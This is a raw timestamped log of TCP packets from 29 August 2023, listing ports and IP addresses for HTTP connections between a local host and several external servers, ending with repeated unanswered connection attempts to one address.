Aug 29, 2023 22:46:54.383300066 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.383541107 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.383656025 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.383737087 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.383794069 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.383821964 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.383969069 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.383972883 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.384268045 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.384330988 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.384388924 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.384459019 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.384609938 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.384744883 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.384764910 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.384823084 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.384929895 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.385066032 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.385123968 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.385236979 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.385338068 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.385458946 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.385533094 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.385679960 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.385736942 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.385834932 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.385895014 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.386039019 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.386096001 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.386291027 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.386365891 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.386450052 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.386601925 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.386610031 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.386667013 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.386842966 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.386871099 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.386899948 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.387116909 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.387118101 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.387197018 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.387337923 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.387459993 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.387490988 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.387572050 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.387691975 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.387717962 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.387911081 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.387933016 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.387989998 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.388221979 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.388245106 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.388281107 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.388479948 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.431600094 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.431762934 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.431832075 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.431886911 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.432034969 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.432137966 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.432193041 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.432271004 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.432459116 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.432502985 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.432533026 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.432696104 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.432818890 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.432871103 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.432940960 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.433022022 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.433104038 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.433124065 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.433162928 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.433299065 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.433409929 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.433437109 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.433988094 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.434062958 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.434129000 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.434214115 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.434247971 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.434324026 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.434379101 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.434423923 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.434631109 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.434648991 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.434788942 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.434815884 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.434880972 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.434971094 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.435064077 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.435095072 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.435128927 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.435203075 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.435267925 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.435355902 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.435384035 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.435384035 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.435417891 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.435472012 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.435545921 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.435620070 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.435631037 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.435682058 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.435698986 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.435766935 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.435934067 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.435983896 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.436016083 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.436135054 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.436220884 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.436305046 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.436371088 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.436377048 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.436460018 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.436532021 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.436592102 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.436593056 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.436641932 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.436667919 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.436733961 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.436892033 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.436892986 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.436927080 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.436966896 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.437045097 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.437124968 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.437189102 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.437199116 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.437274933 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.437396049 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.437463999 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.437693119 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.437764883 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.437912941 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.437946081 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.437974930 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.438057899 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.438124895 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.438196898 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.438206911 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.438280106 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.438309908 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.438340902 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.438529968 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.438535929 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.438693047 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.438744068 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.438759089 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.438818932 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.438966036 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.439013004 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.439169884 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.439237118 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.439245939 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.439306974 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.439393044 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.439471006 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.439485073 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.439533949 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.439544916 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.439591885 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.439791918 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.439801931 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.439873934 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.439932108 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.439950943 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.439990997 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.440080881 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.440248013 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.440334082 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.440396070 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.440454960 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.440501928 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.440566063 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.440604925 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.440671921 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.440840006 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.441076994 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.441481113 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.441538095 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.493772984 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:59.756181002 CEST	50024	80	192.168.11.20	154.206.192.10
Aug 29, 2023 22:46:59.949192047 CEST	80	50024	154.206.192.10	192.168.11.20
Aug 29, 2023 22:46:59.949393034 CEST	50024	80	192.168.11.20	154.206.192.10
Aug 29, 2023 22:46:59.949599981 CEST	50024	80	192.168.11.20	154.206.192.10
Aug 29, 2023 22:47:00.142508030 CEST	80	50024	154.206.192.10	192.168.11.20
Aug 29, 2023 22:47:00.142529011 CEST	80	50024	154.206.192.10	192.168.11.20
Aug 29, 2023 22:47:00.142540932 CEST	80	50024	154.206.192.10	192.168.11.20
Aug 29, 2023 22:47:00.142786980 CEST	50024	80	192.168.11.20	154.206.192.10
Aug 29, 2023 22:47:01.459544897 CEST	50024	80	192.168.11.20	154.206.192.10
Aug 29, 2023 22:47:02.475152969 CEST	50025	80	192.168.11.20	154.206.192.10
Aug 29, 2023 22:47:02.682209015 CEST	80	50025	154.206.192.10	192.168.11.20
Aug 29, 2023 22:47:02.682473898 CEST	50025	80	192.168.11.20	154.206.192.10
Aug 29, 2023 22:47:02.682643890 CEST	50025	80	192.168.11.20	154.206.192.10
Aug 29, 2023 22:47:02.889761925 CEST	80	50025	154.206.192.10	192.168.11.20
Aug 29, 2023 22:47:02.889843941 CEST	80	50025	154.206.192.10	192.168.11.20
Aug 29, 2023 22:47:02.889898062 CEST	80	50025	154.206.192.10	192.168.11.20
Aug 29, 2023 22:47:02.890059948 CEST	50025	80	192.168.11.20	154.206.192.10
Aug 29, 2023 22:47:04.193200111 CEST	50025	80	192.168.11.20	154.206.192.10
Aug 29, 2023 22:47:05.208880901 CEST	50026	80	192.168.11.20	154.206.192.10
Aug 29, 2023 22:47:05.400712013 CEST	80	50026	154.206.192.10	192.168.11.20
Aug 29, 2023 22:47:05.400960922 CEST	50026	80	192.168.11.20	154.206.192.10
Aug 29, 2023 22:47:05.401478052 CEST	50026	80	192.168.11.20	154.206.192.10
Aug 29, 2023 22:47:05.401554108 CEST	50026	80	192.168.11.20	154.206.192.10
Aug 29, 2023 22:47:05.593281984 CEST	80	50026	154.206.192.10	192.168.11.20
Aug 29, 2023 22:47:05.593348980 CEST	80	50026	154.206.192.10	192.168.11.20
Aug 29, 2023 22:47:05.593419075 CEST	80	50026	154.206.192.10	192.168.11.20
Aug 29, 2023 22:47:05.593466043 CEST	80	50026	154.206.192.10	192.168.11.20
Aug 29, 2023 22:47:05.593585014 CEST	50026	80	192.168.11.20	154.206.192.10
Aug 29, 2023 22:47:05.593619108 CEST	80	50026	154.206.192.10	192.168.11.20
Aug 29, 2023 22:47:05.593679905 CEST	50026	80	192.168.11.20	154.206.192.10
Aug 29, 2023 22:47:05.593692064 CEST	80	50026	154.206.192.10	192.168.11.20
Aug 29, 2023 22:47:05.593889952 CEST	80	50026	154.206.192.10	192.168.11.20
Aug 29, 2023 22:47:05.593966961 CEST	50026	80	192.168.11.20	154.206.192.10
Aug 29, 2023 22:47:05.594146967 CEST	50026	80	192.168.11.20	154.206.192.10
Aug 29, 2023 22:47:05.594217062 CEST	50026	80	192.168.11.20	154.206.192.10
Aug 29, 2023 22:47:05.785346031 CEST	80	50026	154.206.192.10	192.168.11.20
Aug 29, 2023 22:47:05.785536051 CEST	80	50026	154.206.192.10	192.168.11.20
Aug 29, 2023 22:47:05.785691977 CEST	50026	80	192.168.11.20	154.206.192.10
Aug 29, 2023 22:47:05.785716057 CEST	80	50026	154.206.192.10	192.168.11.20
Aug 29, 2023 22:47:05.785783052 CEST	50026	80	192.168.11.20	154.206.192.10
Aug 29, 2023 22:47:05.785959959 CEST	50026	80	192.168.11.20	154.206.192.10
Aug 29, 2023 22:47:05.786092997 CEST	80	50026	154.206.192.10	192.168.11.20
Aug 29, 2023 22:47:05.786154985 CEST	80	50026	154.206.192.10	192.168.11.20
Aug 29, 2023 22:47:05.786313057 CEST	80	50026	154.206.192.10	192.168.11.20
Aug 29, 2023 22:47:05.786374092 CEST	80	50026	154.206.192.10	192.168.11.20
Aug 29, 2023 22:47:05.786756992 CEST	80	50026	154.206.192.10	192.168.11.20
Aug 29, 2023 22:47:05.826543093 CEST	80	50026	154.206.192.10	192.168.11.20
Aug 29, 2023 22:47:05.977571011 CEST	80	50026	154.206.192.10	192.168.11.20
Aug 29, 2023 22:47:05.977657080 CEST	80	50026	154.206.192.10	192.168.11.20
Aug 29, 2023 22:47:05.977700949 CEST	80	50026	154.206.192.10	192.168.11.20
Aug 29, 2023 22:47:05.978080988 CEST	80	50026	154.206.192.10	192.168.11.20
Aug 29, 2023 22:47:05.978142977 CEST	80	50026	154.206.192.10	192.168.11.20
Aug 29, 2023 22:47:05.978307009 CEST	80	50026	154.206.192.10	192.168.11.20
Aug 29, 2023 22:47:05.978405952 CEST	80	50026	154.206.192.10	192.168.11.20
Aug 29, 2023 22:47:05.978663921 CEST	80	50026	154.206.192.10	192.168.11.20
Aug 29, 2023 22:47:05.978733063 CEST	80	50026	154.206.192.10	192.168.11.20
Aug 29, 2023 22:47:05.978975058 CEST	50026	80	192.168.11.20	154.206.192.10
Aug 29, 2023 22:47:06.911443949 CEST	50026	80	192.168.11.20	154.206.192.10
Aug 29, 2023 22:47:07.927032948 CEST	50027	80	192.168.11.20	154.206.192.10
Aug 29, 2023 22:47:08.123079062 CEST	80	50027	154.206.192.10	192.168.11.20
Aug 29, 2023 22:47:08.123348951 CEST	50027	80	192.168.11.20	154.206.192.10
Aug 29, 2023 22:47:08.123403072 CEST	50027	80	192.168.11.20	154.206.192.10
Aug 29, 2023 22:47:08.319351912 CEST	80	50027	154.206.192.10	192.168.11.20
Aug 29, 2023 22:47:08.319421053 CEST	80	50027	154.206.192.10	192.168.11.20
Aug 29, 2023 22:47:08.319814920 CEST	80	50027	154.206.192.10	192.168.11.20
Aug 29, 2023 22:47:08.319998980 CEST	50027	80	192.168.11.20	154.206.192.10
Aug 29, 2023 22:47:08.320096970 CEST	50027	80	192.168.11.20	154.206.192.10
Aug 29, 2023 22:47:08.515718937 CEST	80	50027	154.206.192.10	192.168.11.20
Aug 29, 2023 22:47:13.368308067 CEST	50028	80	192.168.11.20	81.169.145.171
Aug 29, 2023 22:47:13.379175901 CEST	80	50028	81.169.145.171	192.168.11.20
Aug 29, 2023 22:47:13.379318953 CEST	50028	80	192.168.11.20	81.169.145.171
Aug 29, 2023 22:47:13.379509926 CEST	50028	80	192.168.11.20	81.169.145.171
Aug 29, 2023 22:47:13.390331030 CEST	80	50028	81.169.145.171	192.168.11.20
Aug 29, 2023 22:47:13.392323017 CEST	80	50028	81.169.145.171	192.168.11.20
Aug 29, 2023 22:47:13.392383099 CEST	80	50028	81.169.145.171	192.168.11.20
Aug 29, 2023 22:47:13.392528057 CEST	50028	80	192.168.11.20	81.169.145.171
Aug 29, 2023 22:47:14.894129038 CEST	50028	80	192.168.11.20	81.169.145.171
Aug 29, 2023 22:47:15.909765005 CEST	50029	80	192.168.11.20	81.169.145.171
Aug 29, 2023 22:47:15.920665026 CEST	80	50029	81.169.145.171	192.168.11.20
Aug 29, 2023 22:47:15.920957088 CEST	50029	80	192.168.11.20	81.169.145.171
Aug 29, 2023 22:47:15.921277046 CEST	50029	80	192.168.11.20	81.169.145.171
Aug 29, 2023 22:47:15.932109118 CEST	80	50029	81.169.145.171	192.168.11.20
Aug 29, 2023 22:47:15.933900118 CEST	80	50029	81.169.145.171	192.168.11.20
Aug 29, 2023 22:47:15.933967113 CEST	80	50029	81.169.145.171	192.168.11.20
Aug 29, 2023 22:47:15.934211016 CEST	50029	80	192.168.11.20	81.169.145.171
Aug 29, 2023 22:47:17.424675941 CEST	50029	80	192.168.11.20	81.169.145.171
Aug 29, 2023 22:47:18.440474033 CEST	50031	80	192.168.11.20	81.169.145.171
Aug 29, 2023 22:47:18.451385975 CEST	80	50031	81.169.145.171	192.168.11.20
Aug 29, 2023 22:47:18.451626062 CEST	50031	80	192.168.11.20	81.169.145.171
Aug 29, 2023 22:47:18.452121019 CEST	50031	80	192.168.11.20	81.169.145.171
Aug 29, 2023 22:47:18.452208042 CEST	50031	80	192.168.11.20	81.169.145.171
Aug 29, 2023 22:47:18.452263117 CEST	50031	80	192.168.11.20	81.169.145.171
Aug 29, 2023 22:47:18.463311911 CEST	80	50031	81.169.145.171	192.168.11.20
Aug 29, 2023 22:47:18.463368893 CEST	80	50031	81.169.145.171	192.168.11.20
Aug 29, 2023 22:47:18.463430882 CEST	80	50031	81.169.145.171	192.168.11.20
Aug 29, 2023 22:47:18.463469982 CEST	80	50031	81.169.145.171	192.168.11.20
Aug 29, 2023 22:47:18.463577986 CEST	50031	80	192.168.11.20	81.169.145.171
Aug 29, 2023 22:47:18.463606119 CEST	80	50031	81.169.145.171	192.168.11.20
Aug 29, 2023 22:47:18.463756084 CEST	50031	80	192.168.11.20	81.169.145.171
Aug 29, 2023 22:47:18.463855982 CEST	50031	80	192.168.11.20	81.169.145.171
Aug 29, 2023 22:47:18.464056015 CEST	50031	80	192.168.11.20	81.169.145.171
Aug 29, 2023 22:47:18.474826097 CEST	80	50031	81.169.145.171	192.168.11.20
Aug 29, 2023 22:47:18.474880934 CEST	80	50031	81.169.145.171	192.168.11.20
Aug 29, 2023 22:47:18.474983931 CEST	80	50031	81.169.145.171	192.168.11.20
Aug 29, 2023 22:47:18.475194931 CEST	50031	80	192.168.11.20	81.169.145.171
Aug 29, 2023 22:47:18.475302935 CEST	50031	80	192.168.11.20	81.169.145.171
Aug 29, 2023 22:47:18.475312948 CEST	80	50031	81.169.145.171	192.168.11.20
Aug 29, 2023 22:47:18.475382090 CEST	80	50031	81.169.145.171	192.168.11.20
Aug 29, 2023 22:47:18.475765944 CEST	80	50031	81.169.145.171	192.168.11.20
Aug 29, 2023 22:47:18.475919962 CEST	80	50031	81.169.145.171	192.168.11.20
Aug 29, 2023 22:47:18.475960970 CEST	80	50031	81.169.145.171	192.168.11.20
Aug 29, 2023 22:47:18.486174107 CEST	80	50031	81.169.145.171	192.168.11.20
Aug 29, 2023 22:47:18.486227989 CEST	80	50031	81.169.145.171	192.168.11.20
Aug 29, 2023 22:47:18.486553907 CEST	80	50031	81.169.145.171	192.168.11.20
Aug 29, 2023 22:47:18.486881018 CEST	80	50031	81.169.145.171	192.168.11.20
Aug 29, 2023 22:47:18.487078905 CEST	80	50031	81.169.145.171	192.168.11.20
Aug 29, 2023 22:47:18.487147093 CEST	80	50031	81.169.145.171	192.168.11.20
Aug 29, 2023 22:47:18.487477064 CEST	80	50031	81.169.145.171	192.168.11.20
Aug 29, 2023 22:47:18.487536907 CEST	80	50031	81.169.145.171	192.168.11.20
Aug 29, 2023 22:47:18.487879038 CEST	50031	80	192.168.11.20	81.169.145.171
Aug 29, 2023 22:47:19.955384016 CEST	50031	80	192.168.11.20	81.169.145.171
Aug 29, 2023 22:47:20.971025944 CEST	50032	80	192.168.11.20	81.169.145.171
Aug 29, 2023 22:47:20.982002020 CEST	80	50032	81.169.145.171	192.168.11.20
Aug 29, 2023 22:47:20.982306957 CEST	50032	80	192.168.11.20	81.169.145.171
Aug 29, 2023 22:47:20.982484102 CEST	50032	80	192.168.11.20	81.169.145.171
Aug 29, 2023 22:47:20.993294954 CEST	80	50032	81.169.145.171	192.168.11.20
Aug 29, 2023 22:47:20.994658947 CEST	80	50032	81.169.145.171	192.168.11.20
Aug 29, 2023 22:47:20.994721889 CEST	80	50032	81.169.145.171	192.168.11.20
Aug 29, 2023 22:47:20.995055914 CEST	50032	80	192.168.11.20	81.169.145.171
Aug 29, 2023 22:47:20.995110989 CEST	50032	80	192.168.11.20	81.169.145.171
Aug 29, 2023 22:47:21.005940914 CEST	80	50032	81.169.145.171	192.168.11.20
Aug 29, 2023 22:47:34.401799917 CEST	50033	80	192.168.11.20	107.148.134.218
Aug 29, 2023 22:47:35.405081987 CEST	50033	80	192.168.11.20	107.148.134.218
Aug 29, 2023 22:47:37.420615911 CEST	50033	80	192.168.11.20	107.148.134.218
Aug 29, 2023 22:47:41.435055017 CEST	50033	80	192.168.11.20	107.148.134.218
Aug 29, 2023 22:47:49.448824883 CEST	50033	80	192.168.11.20	107.148.134.218
Aug 29, 2023 22:47:56.479500055 CEST	50033	80	192.168.11.20	107.148.134.218
Aug 29, 2023 22:47:57.493993044 CEST	50033	80	192.168.11.20	107.148.134.218
Aug 29, 2023 22:47:59.509172916 CEST	50033	80	192.168.11.20	107.148.134.218
Aug 29, 2023 22:48:03.524123907 CEST	50033	80	192.168.11.20	107.148.134.218
Aug 29, 2023 22:48:11.537821054 CEST	50033	80	192.168.11.20	107.148.134.218
Aug 29, 2023 22:48:18.567996025 CEST	50033	80	192.168.11.20	107.148.134.218
Aug 29, 2023 22:48:19.582945108 CEST	50033	80	192.168.11.20	107.148.134.218
Aug 29, 2023 22:48:21.598115921 CEST	50033	80	192.168.11.20	107.148.134.218
Aug 29, 2023 22:48:25.612838030 CEST	50033	80	192.168.11.20	107.148.134.218
Aug 29, 2023 22:48:33.626944065 CEST	50033	80	192.168.11.20	107.148.134.218
Aug 29, 2023 22:48:40.656913996 CEST	50033	80	192.168.11.20	107.148.134.218
Aug 29, 2023 22:48:41.656220913 CEST	50033	80	192.168.11.20	107.148.134.218
Aug 29, 2023 22:48:43.671408892 CEST	50033	80	192.168.11.20	107.148.134.218
Aug 29, 2023 22:48:47.686194897 CEST	50033	80	192.168.11.20	107.148.134.218
Aug 29, 2023 22:48:55.699984074 CEST	50033	80	192.168.11.20	107.148.134.218
